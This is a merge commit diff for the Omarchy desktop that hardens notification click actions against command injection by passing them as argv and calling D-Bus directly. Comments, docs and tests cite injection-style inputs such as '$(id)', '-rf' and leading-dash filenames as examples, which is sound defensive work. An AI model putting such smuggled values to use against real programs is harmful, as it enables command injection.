Merge pull request #7926 from basecamp/harden-notification-exec-argv

Run notification click actions as safe argv
This commit is contained in:
Ryan Hughes
2026-08-23 19:51:57 -04:00
committed by GitHub
29 changed files with 557 additions and 205 deletions
+1 -1
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@@ -228,7 +228,7 @@ stop_screenrecording() {
omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \
-t 10000 --image "${preview:-$filename}" \
--exec "$(printf 'mpv %q' "$filename")"
--exec mpv -- "$filename"
# The shell loads the thumbnail into memory when the toast appears and never
# re-reads the file, so the preview only has to outlive that load -- not the
+1 -1
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@@ -70,7 +70,7 @@ case "$PROCESSING" in
# notification outage must not report the capture itself as failed.
omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \
--image "$FILEPATH" \
--exec "$(printf '%q %q' "$SCREENSHOT_EDITOR" "$FILEPATH")" || true
--exec "$SCREENSHOT_EDITOR" "$FILEPATH" || true
;;
copy)
grim -g "$SELECTION" - | wl-copy --type image/png
+4 -7
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@@ -27,7 +27,7 @@ valid_url() {
# A printed path is only usable if it is a regular file inside DOWNLOAD_DIR.
# Forged records (leading-dash mpv options, paths with control chars, or
# anything that escaped the download directory) must not reach --exec.
# anything that escaped the download directory) must not reach the click command.
resolve_download_file() {
local candidate=$1 file_real dir_real
@@ -70,11 +70,6 @@ title_from_file() {
fi
}
# `--` keeps a path that starts with `-` from being parsed as an mpv option.
playback_command() {
printf 'mpv -- %q' "$1"
}
# Drive the Quickshell OSD — a single overlay that updates in place (like the
# volume/brightness bar), so download progress never stacks like notifications.
osd_progress() {
@@ -151,9 +146,11 @@ download_url() {
# Best-effort: the download already succeeded, and under `set -e` a failed
# toast would exit before the thumbnail cleanup below is ever scheduled.
# `--` keeps mpv from parsing a leading-dash filename as an option; the path
# is one discrete argument, so it never reaches a shell.
omarchy-notification-send -g 󰄬 "Download complete" "$title" \
-t 10000 --image "${preview:-$filepath}" \
--exec "$(playback_command "$filepath")" || true
--exec mpv -- "$filepath" || true
# The shell loads the thumbnail into memory when the toast appears and never
# re-reads the file, so the preview only has to outlive that load, not the
+7 -7
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@@ -24,9 +24,7 @@ readonly ignore_pattern=${OMARCHY_CRASH_IGNORE:-}
declare -A last_notified
announce() {
local comm=$1 pid=$2 exe=$3 signal=$4 exec_command
exec_command=$(printf 'omarchy-agent-crash %q %q %q %q' "$pid" "$comm" "$exe" "$signal")
local comm=$1 pid=$2 exe=$3 signal=$4
# The shell owns org.freedesktop.Notifications, so a shell crash takes the
# notification server down with it and a toast sent into that gap is lost.
@@ -35,14 +33,16 @@ announce() {
omarchy-notification-wait || return 1
# --exec rather than a libnotify action: the shell runs clicks from its own
# omarchy-exec hint and never emits ActionInvoked. Keeps the default
# "omarchy-action" app name too, the only one shouldBypassDnd() lets through.
# hint and never emits ActionInvoked. Keeps the default "omarchy-action" app
# name, the only one shouldBypassDnd() lets through. Crash details ride as
# discrete argv words, so a hostile process name can't be reparsed as a
# command. --exec consumes the rest of the line, so it comes last.
omarchy-notification-send \
--urgency critical \
--glyph "$CRASH_GLYPH" \
--exec "$exec_command" \
"Process crashed: $comm" \
"Click to diagnose with AI"
"Click to diagnose with AI" \
--exec omarchy-agent-crash "$pid" "$comm" "$exe" "$signal"
}
# -n 0 so a restart does not re-announce crashes already dealt with.
+1 -1
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@@ -41,7 +41,7 @@ fi
# The shell keeps the click command with the toast, so this oneshot can hand the
# invitation over and exit instead of staying activated until it is answered.
omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \
--exec "omarchy-launch-floating-terminal-with-presentation omarchy-migrate" && exit 0
--exec omarchy-launch-floating-terminal-with-presentation omarchy-migrate && exit 0
# Reached when the notification could not be handed off, so fall back to telling
# the user in the terminal.
+151 -63
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@@ -1,7 +1,7 @@
#!/bin/bash
# omarchy:summary=Send an Omarchy desktop notification
# omarchy:args=[--exec <command>] [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [--image <path-or-uri>] <headline> [description] [notify-send options]
# omarchy:args=[--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]
# omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌
set -euo pipefail
@@ -11,61 +11,75 @@ description=""
glyph=
urgency="low"
app_name="omarchy-action"
app_icon=""
image=
exec_command=
args=()
expire_timeout=-1
replaces_id=0
print_id=0
exec_args=()
exec_present=0
parsed_option_args=0
usage() {
echo "Usage: omarchy-notification-send [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]" >&2
}
# Recognize a known option, in both `--flag value` and `--flag=value` forms.
# Returns 1 for anything unrecognized so the caller can decide (headline, or a
# hard error in option position).
parse_omarchy_option() {
case $1 in
-g | --glyph)
if (($# < 2)); then
echo "Missing value for $1" >&2
exit 1
fi
glyph=$2
parsed_option_args=2
local opt val nargs
if [[ $1 == --?*=* ]]; then
opt=${1%%=*}
val=${1#*=}
nargs=1
else
opt=$1
val=${2-}
nargs=2
fi
# -p/--print-id is a flag; it takes no value.
if [[ $opt == -p || $opt == --print-id ]]; then
print_id=1
parsed_option_args=1
return 0
fi
case $opt in
-g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;;
*) return 1 ;;
esac
if ((nargs == 2)) && (($# < 2)); then
echo "Missing value for $opt" >&2
exit 1
fi
case $opt in
-g | --glyph) glyph=$val ;;
-u | --urgency) urgency=$val ;;
--app-name) app_name=$val ;;
-i | --icon) app_icon=$val ;;
--image) image=$val ;;
-r | --replace-id)
[[ $val =~ ^[0-9]+$ ]] || {
echo "Invalid $opt value (numeric id expected): $val" >&2
exit 1
}
replaces_id=$val
;;
-u | --urgency)
if (($# < 2)); then
echo "Missing value for $1" >&2
-t | --expire-time)
[[ $val =~ ^-?[0-9]+$ ]] || {
echo "Invalid $opt value (milliseconds expected): $val" >&2
exit 1
fi
urgency="$2"
parsed_option_args=2
return 0
;;
--app-name)
if (($# < 2)); then
echo "Missing value for $1" >&2
exit 1
fi
app_name=$2
parsed_option_args=2
return 0
;;
--image)
if (($# < 2)); then
echo "Missing value for $1" >&2
exit 1
fi
image=$2
parsed_option_args=2
return 0
;;
--exec)
if (($# < 2)); then
echo "Missing value for $1" >&2
exit 1
fi
exec_command=$2
parsed_option_args=2
return 0
}
expire_timeout=$val
;;
esac
return 1
parsed_option_args=$nargs
return 0
}
while (($# > 0)); do
@@ -77,47 +91,121 @@ while (($# > 0)); do
done
if (($# < 1)); then
echo "Usage: omarchy-notification-send [--exec <command>] [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [--image <path-or-uri>] <headline> [description] [notify-send options]"
usage
exit 1
fi
headline=$1
shift
if (($# > 0)) && [[ $1 != -* ]]; then
# The description is the next positional, taken as text even when it begins with
# a dash — a body like "-50% off" or a negative number is content, not options.
# Only a recognized option flag or --exec in that slot is not the description.
known_flag() {
case $1 in
-g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;;
--glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;;
esac
return 1
}
if (($# > 0)) && ! known_flag "$1"; then
description=$1
shift
fi
while (($# > 0)); do
if parse_omarchy_option "$@"; then
if [[ $1 == "--exec" ]]; then
# --exec consumes the rest of the line as the click command's argv. The
# caller's shell already tokenized those words into discrete arguments, and
# the shell runs them as-is (never re-parsed), so untrusted data in an
# argument is only ever one argument and can never become a command.
# Detected only here, after the headline/description positionals are
# captured, so an untrusted headline that is literally "--exec" is taken as
# text and can't be mistaken for the delimiter. --exec therefore comes last.
shift
exec_args=("$@")
exec_present=1
break
elif parse_omarchy_option "$@"; then
shift "$parsed_option_args"
else
args+=("$1")
shift
echo "Unknown option: $1" >&2
usage
exit 1
fi
done
# Tag as a user-action toast so it pops through DND.
args+=("-a" "$app_name" "-u" "$urgency")
case $urgency in
low) urgency_byte=0 ;;
normal) urgency_byte=1 ;;
critical) urgency_byte=2 ;;
*)
echo "Unknown urgency: $urgency (use low, normal, or critical)" >&2
exit 1
;;
esac
# a{sv} hints, as busctl triples (key, variant type, value). urgency is a byte;
# the rest are strings. The click command rides here as omarchy-exec-argv, built
# only from --exec below.
hints=(urgency y "$urgency_byte")
if [[ -n $glyph ]]; then
args+=("--hint=string:omarchy-glyph:$glyph")
hints+=(omarchy-glyph s "$glyph")
fi
if [[ -n $image ]]; then
args+=("--hint=string:image-path:$image")
hints+=(image-path s "$image")
fi
# The shell runs the click command itself, from a copy it keeps alongside the
# on-screen popup. A libnotify action would instead keep this process blocked
# until the click, and die unanswered whenever the shell restarts underneath it.
if [[ -n $exec_command ]]; then
args+=("--hint=string:omarchy-exec:$exec_command")
if ((exec_present)); then
if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then
echo "--exec needs a command: --exec <program> [args...]" >&2
exit 1
fi
# A single word with a space is almost always a whole command passed as one
# quoted string — which would run a program literally named that. Splitting it
# ourselves is exactly the injection we avoid, so reject it and point at the
# unquoted form instead.
if ((${#exec_args[@]} == 1)) && [[ ${exec_args[0]} == *[[:space:]]* ]]; then
echo "--exec takes the command as separate words, not one quoted string." >&2
echo "Write: --exec ${exec_args[0]}" >&2
exit 1
fi
# NUL-delimit into jq so every byte survives as data: jq's own --args would eat
# a bare "--", and a newline in an arg must not split the vector.
exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]')
hints+=(omarchy-exec-argv s "$exec_argv_json")
fi
if [[ -n $description ]]; then
notify-send "${args[@]}" "$headline" "$description"
hint_count=$((${#hints[@]} / 3))
# Call org.freedesktop.Notifications.Notify directly — never notify-send. Its
# argv parsing is the surface that reinterprets a relayed headline like
# `--hint=…` or `-rf` as options or hints; busctl takes each value as one typed
# D-Bus parameter instead, and the leading `--` keeps a dash-leading value
# (headline, description, a negative timeout) positional rather than a busctl
# option. So the summary and body are strings that can never become a hint, and
# omarchy-exec-argv is set only from --exec.
#
# Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body,
# actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast
# in place; -p prints the returned id so a caller can reuse it.
notify_cmd=(
busctl --user -- call
org.freedesktop.Notifications /org/freedesktop/Notifications
org.freedesktop.Notifications Notify susssasa{sv}i
"$app_name" "$replaces_id" "$app_icon" "$headline" "$description"
0
"$hint_count" "${hints[@]}"
"$expire_timeout"
)
if ((print_id)); then
# busctl prints the UINT32 return as "u <id>"; emit just the id.
out=$("${notify_cmd[@]}")
printf '%s\n' "${out##* }"
else
notify-send "${args[@]}" "$headline"
"${notify_cmd[@]}" >/dev/null
fi
+1 -1
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@@ -72,7 +72,7 @@ announce() {
# Announcing is best-effort: the file is already delivered, and under `set -e`
# a notification outage would otherwise kill the long-running receiver.
omarchy-notification-send "${args[@]}" --exec "$(printf 'xdg-open %q' "$path")" || true
omarchy-notification-send "${args[@]}" --exec xdg-open "$path" || true
}
deliver() {
@@ -4,4 +4,4 @@
# To put it into use, remove .sample from this file name.
# Example: Show the name of the font that was just set.
# notify-send -u low "New font" "Your new font is $1"
# omarchy-notification-send -u low "New font" "Your new font is $1"
@@ -6,5 +6,5 @@
weather=$(omarchy-weather-status 2>/dev/null) || true
if [[ -n $weather && $weather != "Weather unavailable" ]]; then
notify-send -u low "$weather"
omarchy-notification-send -u low "$weather"
fi
@@ -4,4 +4,4 @@
# To put it into use, remove .sample from this file name.
# Example: Show notification after the system has been updated.
# notify-send -u low "Update Performed" "Your system is now up to date"
# omarchy-notification-send -u low "Update Performed" "Your system is now up to date"
@@ -4,4 +4,4 @@
# To put it into use, remove .sample from this file name.
# Example: Show the name of the theme that was just set.
# notify-send -u low "New theme" "Your new theme is $1"
# omarchy-notification-send -u low "New theme" "Your new theme is $1"
+1 -1
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@@ -136,7 +136,7 @@ function o.bind_toggle(keys, description, toggle, options)
end
function o.notify(message)
return "notify-send -u low " .. shell_quote(message)
return "omarchy-notification-send -u low " .. shell_quote(message)
end
function o.window(match, rules)
+67 -11
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@@ -63,24 +63,33 @@ Ephemeral ones (the freedesktop `transient` hint, or an `app_name` of
## The sender contract
`bin/omarchy-notification-send` is the one way Omarchy code sends
notifications — never raw `notify-send`. It translates its flags into
notify-send arguments and passes any unrecognized options through:
notifications — never raw `notify-send`. It calls
`org.freedesktop.Notifications.Notify` directly over the session bus (via
`busctl --user`), so each value is one typed D-Bus parameter and there is no
argv layer that could reinterpret a relayed headline as an option or a hint. Its
flags map onto that call:
| Flag | Becomes | Meaning |
|---|---|---|
| `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves |
| `--exec` | `--hint=string:omarchy-exec:` | shell command the card runs when clicked |
| `--image` | `--hint=string:image-path:` | the standard freedesktop image hint |
| `--app-name` | `-a` | defaults to `omarchy-action` |
| `-u` / `--urgency` | `-u` | defaults to `low` |
| `-g` / `--glyph` | hint `omarchy-glyph` | Nerd Font glyph for the icon slot when no image icon resolves |
| `--exec <program> [args…]` | hint `omarchy-exec-argv` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) |
| `--image` | hint `image-path` | the standard freedesktop image hint |
| `-i` / `--icon` | `app_icon` | themed icon name for the toast |
| `--app-name` | `app_name` | defaults to `omarchy-action` |
| `-u` / `--urgency` | hint `urgency` (byte) | `low`/`normal`/`critical`; defaults to `low` |
| `-t` / `--expire-time` | `expire_timeout` | milliseconds on screen; server default otherwise |
Unknown flags are a hard error, not a silent pass-through: `--exec` is the only
door to a click command, and there is no generic option pass-through to smuggle
one through.
The defaults are the point: an unadorned `omarchy-notification-send "Done"`
is a low-urgency user-action toast that pops through DND and is treated as
ephemeral noise when silenced.
`--exec` is deliberately not a libnotify action. An action keeps the sender
blocked waiting for `ActionInvoked`, and dies unanswered whenever the shell
restarts underneath it — the installer toasts restart the shell as their
The click command is deliberately not a libnotify action. An action keeps the
sender blocked waiting for `ActionInvoked`, and dies unanswered whenever the
shell restarts underneath it — the installer toasts restart the shell as their
first act. Carrying the command as a hint means the shell executes the click
itself (detached, so the command outlives the shell process) from the copy it
keeps with the popup, which the persistence files preserve: a restored toast
@@ -90,6 +99,52 @@ immediately. For third-party clients the click falls back to the libnotify
window by class via `omarchy-hyprland-focus-app` — chat apps rarely register
an action and just expect click-to-jump.
### Click commands are argv, never shell strings
`--exec` consumes the rest of the line as the click command:
```bash
omarchy-notification-send "Download complete" "$title" --exec mpv -- "$file"
```
The caller's shell has already split those words into discrete arguments, and a
quoted argument (`"$file"`) stays one argument even with spaces. On the shell
side they are run through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'`
with the arguments as **positional parameters** — never interpolated into the
script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a
value carrying data an attacker controls — a downloaded video's title, a
received filename, a crashed process's name — is only ever a single argument and
can never be reparsed as a command. The login shell keeps the PATH and session
environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect.
The critical rule: **the splitting must happen at the call site, not inside the
tool.** Passing a single quoted string (`--exec "mpv $title"`) and letting the
tool whitespace-split it would hand argument boundaries to whoever controls the
string's content — a title with a space could inject an extra option or program.
So `--exec` refuses a lone quoted-string argument and points at the unquoted
form. There is no "take a command string and sanitize it" path; that is the
escaping trap (string-concatenated SQL) the yt-dlp title RCE exploited.
The shell fails closed on a malformed argv hint (it must be a JSON array of
strings whose program is present and not a leading-dash option) rather than
running anything it can't validate. A caller can still deliberately name a shell
as the program (`--exec sh -c …`), but that runs code because the *developer*
wrote it, not because attacker data became a command — a reviewable red flag
(greppable as `--exec sh`/`--exec bash`), not an injection. Insulating against a
native same-user process is out of scope: it already runs with your privileges
and needs no notification to execute code. What is fully closed is untrusted
*content* — web notifications can't set the exec hint at all, and any relayed
title/filename is confined to inert argument data.
The sender keeps that last part true structurally rather than leaving it to each
caller. Because it calls `Notify` directly, the headline and description are
typed string parameters — a relayed value like `--hint=…` or `-rf` is the
summary or body, never an option or a hint, and there is no argv/option layer
(no `notify-send`) left to reinterpret it. `--exec` is the only thing that can
build the `omarchy-exec-argv` hint. (The leading `--` on the `busctl` call is a
belt for `busctl`'s own getopt, which would otherwise read a dash-leading value
as a `busctl` option; the summary/body themselves are never parsed as options.)
## Helper commands
- `omarchy-notification-wait [timeout]` — polls until the shell answers IPC
@@ -114,7 +169,8 @@ Everything goes through the same sender contract, so the pieces are small:
`battery-low` hook.
- **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump
journal stream and announces each crashed program (deduped per minute) as a
critical toast whose `--exec` runs `omarchy-agent-crash`. It waits for the
critical toast whose click runs `omarchy-agent-crash` (via `--exec`, so a
hostile process name stays a discrete argument). It waits for the
server first: a shell crash takes the notification server down with it, and
that crash is the one most worth reporting.
- **Pending migrations** — `omarchy-migrate-notify` (from its user service
+1 -1
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@@ -5,5 +5,5 @@ set -e
if omarchy-done ensure voxtype-install-invitation; then
omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \
"Click to install voice dictation for Omarchy." \
--exec "omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install"
--exec omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install
fi
+1 -1
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@@ -7,5 +7,5 @@ set -e
if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then
omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \
"Let your favorite agent help with Omarchy." \
--exec "omarchy menu summon setup.default.agent"
--exec omarchy menu summon setup.default.agent
fi
@@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] &&
omarchy-done ensure fingerprint-setup-invitation; then
omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \
"Enable sudo and unlocking with your fingerprint." \
--exec "omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint"
--exec omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint
fi
+2 -2
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@@ -1,11 +1,11 @@
notify_update() {
omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \
--exec "omarchy-launch-floating-terminal-with-presentation omarchy-update"
--exec omarchy-launch-floating-terminal-with-presentation omarchy-update
}
notify_wifi() {
omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \
--exec "omarchy-shell shell toggle omarchy.network"
--exec omarchy-shell shell toggle omarchy.network
}
announce_network() {
+9
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@@ -54,6 +54,15 @@ QtObject {
Quickshell.execDetached(["bash", "-lc", command])
}
// Run an argv vector without a shell interpreting it: the constant `exec "$@"`
// means the args only ever land in positional parameters, which bash expands
// without re-tokenizing — so untrusted data ($(id), a filename) stays literal.
// The login shell (-l) keeps the PATH/session env GUI targets (tensaku, mpv,
// xdg-open) need. Prefer this over execDetached for anything built from input.
function execArgv(argv) {
Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv))
}
function isPlainObject(value) {
return value !== null && typeof value === "object" && !Array.isArray(value)
}
@@ -57,14 +57,39 @@ function glyphFromHints(hints) {
return stringHint(hints, "omarchy-glyph")
}
// Shell command to run when the card is clicked, sent by
// omarchy-notification-send --exec. Carrying the action as data means it
// travels with the popup through the persistence files, so a toast restored
// after a shell restart clicks through exactly like a live one. A libnotify
// action can't: its sender is still waiting on an id from a server generation
// that no longer exists.
function execFromHints(hints) {
return stringHint(hints, "omarchy-exec")
// The click action: a JSON argv string from omarchy-notification-send
// --exec. Carried as data so a toast restored after a shell restart stays
// clickable (a libnotify action can't — its sender is gone). Run via
// Util.execArgv as bash positional parameters, never a shell string, so
// attacker-controlled values (a title, a filename) can't become commands.
function execArgvFromHints(hints) {
return stringHint(hints, "omarchy-exec-argv")
}
// Validate a persisted omarchy-exec-argv into a runnable argv, or null. This is
// a STRUCTURAL check only: it fails closed on a malformed hint (non-array, a
// non-string or empty program, or a leading-dash program that argv would read as
// an option). It does not judge intent — a well-formed ["bash","-c",…] is
// accepted. WHICH senders may set this hint is a separate boundary: any
// session-bus process can, by the freedesktop protocol's design (see
// docs/notifications.md), which is equivalent to same-uid code execution.
function parseExecArgv(value) {
var text = String(value || "")
if (!text) return null
var parsed
try {
parsed = JSON.parse(text)
} catch (e) {
return null
}
if (!Array.isArray(parsed) || parsed.length === 0) return null
for (var i = 0; i < parsed.length; i++) {
if (typeof parsed[i] !== "string") return null
}
if (!parsed[0] || parsed[0].charAt(0) === "-") return null
return parsed
}
function shouldRenderCompactGlyph(glyph, iconSource, singleLineToast) {
@@ -85,7 +110,7 @@ function snapshotOf(notification, timestamp) {
body: n.body || "",
image: n.image || "",
glyph: glyphFromHints(n.hints),
exec: execFromHints(n.hints),
execArgv: execArgvFromHints(n.hints),
urgency: n.urgency,
expireTimeout: expireTimeout,
timestamp: timestamp === undefined ? Date.now() : timestamp
@@ -94,7 +119,7 @@ function snapshotOf(notification, timestamp) {
// Everything the popup card draws, and therefore everything an in-place
// update has to write through to the row and its file.
var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "urgency", "expireTimeout"]
var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "execArgv", "urgency", "expireTimeout"]
function popupRoles() {
return POPUP_ROLES
@@ -136,7 +161,7 @@ function historyEntry(value, normalUrgency) {
body: e.body || "",
image: e.image || "",
glyph: e.glyph || "",
exec: e.exec || "",
execArgv: e.execArgv || "",
urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency,
expireTimeout: 0,
timestamp: e.timestamp || 0
@@ -346,7 +371,8 @@ if (typeof module !== "undefined") {
isEphemeralApp: isEphemeralApp,
stringHint: stringHint,
glyphFromHints: glyphFromHints,
execFromHints: execFromHints,
execArgvFromHints: execArgvFromHints,
parseExecArgv: parseExecArgv,
shouldRenderCompactGlyph: shouldRenderCompactGlyph,
snapshotOf: snapshotOf,
popupRoles: popupRoles,
+12 -11
View File
@@ -353,18 +353,19 @@ Item {
}
// Run the popup's click action, then dismiss. Omarchy's own toasts carry the
// action as a command in the `exec` role (see execFromHints), which the
// persistence files preserve, so restored toasts stay clickable. Third-party
// clients register a libnotify action under the canonical identifier
// "default" instead; that one only works while the sender is still live.
// action as an argv vector in the `execArgv` role (see execArgvFromHints),
// which the persistence files preserve, so restored toasts stay clickable.
// Third-party clients register a libnotify action under the canonical
// identifier "default" instead; that one only works while the sender is live.
function invokePopupDefault(index) {
if (index < 0 || index >= popupModel.count) return
var entry = popupModel.get(index)
var command = entry ? String(entry.exec || "") : ""
if (command) {
// Detached so the launched command outlives the shell process, which the
// installer toasts depend on: they restart the shell as their first act.
Util.execDetached(command)
// Run the argv (via Util.execArgv, no shell interpretation). Detached so it
// outlives the shell, which installer toasts depend on: they restart it.
var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "")
if (argv) {
Util.execArgv(argv)
dismissPopup(index)
return
}
@@ -665,7 +666,7 @@ Item {
body: row.body,
image: row.image,
glyph: row.glyph || "",
exec: row.exec || "",
execArgv: row.execArgv || "",
urgency: row.urgency,
timestamp: row.timestamp
}, imagesDir).entry)
@@ -689,7 +690,7 @@ Item {
body: "",
image: "",
glyph: "󰂚",
exec: "",
execArgv: "",
urgency: NotificationUrgency.Low,
expireTimeout: 0,
timestamp: Date.now()
+3 -1
View File
@@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")"
cat >"$test_bin/omarchy-notification-send" <<'EOF'
#!/bin/bash
echo notification >>"$TEST_LOG"
exec_args=()
while (($# > 0)); do
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
shift
done
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
EOF
chmod +x "$test_bin/omarchy-notification-send"
+2 -3
View File
@@ -9,7 +9,6 @@ raw_command_checks=$(rg -l 'command -v' "$ROOT/bin" \
[[ -z $raw_command_checks ]] || fail "bin commands use command helpers" "$raw_command_checks"
pass "bin commands use command helpers"
raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" \
| rg -v '/omarchy-notification-send$' || true)
[[ -z $raw_notifications ]] || fail "bin commands use the notification helper" "$raw_notifications"
raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" || true)
[[ -z $raw_notifications ]] || fail "bin commands use the notification helper, never notify-send" "$raw_notifications"
pass "bin commands use the notification helper"
+7 -13
View File
@@ -120,26 +120,20 @@ forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not
pass "yt-dlp native host keeps only the readable part of a forged title"
host_fn decode_title '"--include=not-a-file"' &&
fail "yt-dlp native host refuses a title notify-send would read as an option"
pass "yt-dlp native host refuses a title notify-send would read as an option"
fail "yt-dlp native host refuses a leading-dash title the notifier would reject as an option"
pass "yt-dlp native host refuses a leading-dash title the notifier would reject as an option"
host_fn decode_title 'null' &&
fail "yt-dlp native host refuses a title that is not a JSON string"
pass "yt-dlp native host refuses a title that is not a JSON string"
dash_title=$(host_fn title_from_file "$download_dir/--include.mp4")
[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title"
pass "yt-dlp native host does not pass a leading-dash title to notify-send"
[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to the notifier" "$dash_title"
pass "yt-dlp native host does not pass a leading-dash title to the notifier"
cmd=$(host_fn playback_command --include=not-a-file)
[[ $cmd == "mpv -- --include=not-a-file" ]] ||
fail "yt-dlp native host runs mpv with -- before the path" "$cmd"
pass "yt-dlp native host runs mpv with -- before the path"
spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4")
[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] ||
fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd"
pass "yt-dlp native host shell-quotes the mpv path"
# The click action passes the path as a discrete --exec argument (asserted
# end-to-end below against the real download); `--` keeps mpv from parsing a
# leading-dash filename as an option.
parse_script="$TMPDIR/parse-ytdlp-lines.sh"
cat >"$parse_script" <<'EOF'
+3 -1
View File
@@ -31,10 +31,12 @@ chmod +x "$test_bin/omarchy-hw-fingerprint"
cat >"$test_bin/omarchy-notification-send" <<'EOF'
#!/bin/bash
echo notification >>"$TEST_LOG"
exec_args=()
while (($# > 0)); do
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
shift
done
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
EOF
chmod +x "$test_bin/omarchy-notification-send"
+2 -1
View File
@@ -160,6 +160,7 @@ run_notify 1 >/dev/null 2>&1
notify_args_written || fail "migration notifier sends the notification before exiting"
grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null ||
fail "migration notifier attaches the click command to the toast"
grep -Fx 'omarchy-launch-floating-terminal-with-presentation omarchy-migrate' "$test_tmp/notify-args" >/dev/null ||
grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null &&
grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null ||
fail "migration notifier points the click command at omarchy-migrate"
pass "migration notifier lets the shell own the click instead of waiting for it"
+173 -39
View File
@@ -7,59 +7,193 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh"
tmpdir=$(mktemp -d)
trap 'rm -rf "$tmpdir"' EXIT
stub="$tmpdir/notify-send"
args_file="$tmpdir/args"
# Stub the D-Bus transport: record the Notify call verbatim and echo a returned
# id the way busctl prints a UINT32 return ("u <id>").
printf '%s\n' \
'#!/bin/bash' \
'printf "%s\n" "$@" >"$OMARCHY_TEST_NOTIFY_ARGS"' \
>"$stub"
chmod +x "$stub"
'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \
'echo "u 42"' \
>"$tmpdir/busctl"
chmod +x "$tmpdir/busctl"
OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \
--exec "omarchy-menu-keybindings 'a b'" "Learn Keybindings" "Body"
# notify-send must never be used. If anything reaches for it, fail loudly.
printf '%s\n' '#!/bin/bash' 'echo "notify-send was invoked" >"$OMARCHY_TEST_NOTIFY_TRIPWIRE"; exit 3' \
>"$tmpdir/notify-send"
chmod +x "$tmpdir/notify-send"
tripwire="$tmpdir/notify-send-was-used"
mapfile -t args <"$args_file"
send() {
OMARCHY_TEST_BUSCTL_ARGS="$args_file" OMARCHY_TEST_NOTIFY_TRIPWIRE="$tripwire" \
PATH="$tmpdir:$ROOT/bin:$PATH" omarchy-notification-send "$@"
}
[[ ${args[0]} == "-a" ]] || fail "notification wrapper passes app flag"
[[ ${args[1]} == "custom-app" ]] || fail "notification wrapper uses custom app name"
[[ ${args[2]} == "-u" ]] || fail "notification wrapper passes urgency flag"
[[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency"
[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint"
[[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint"
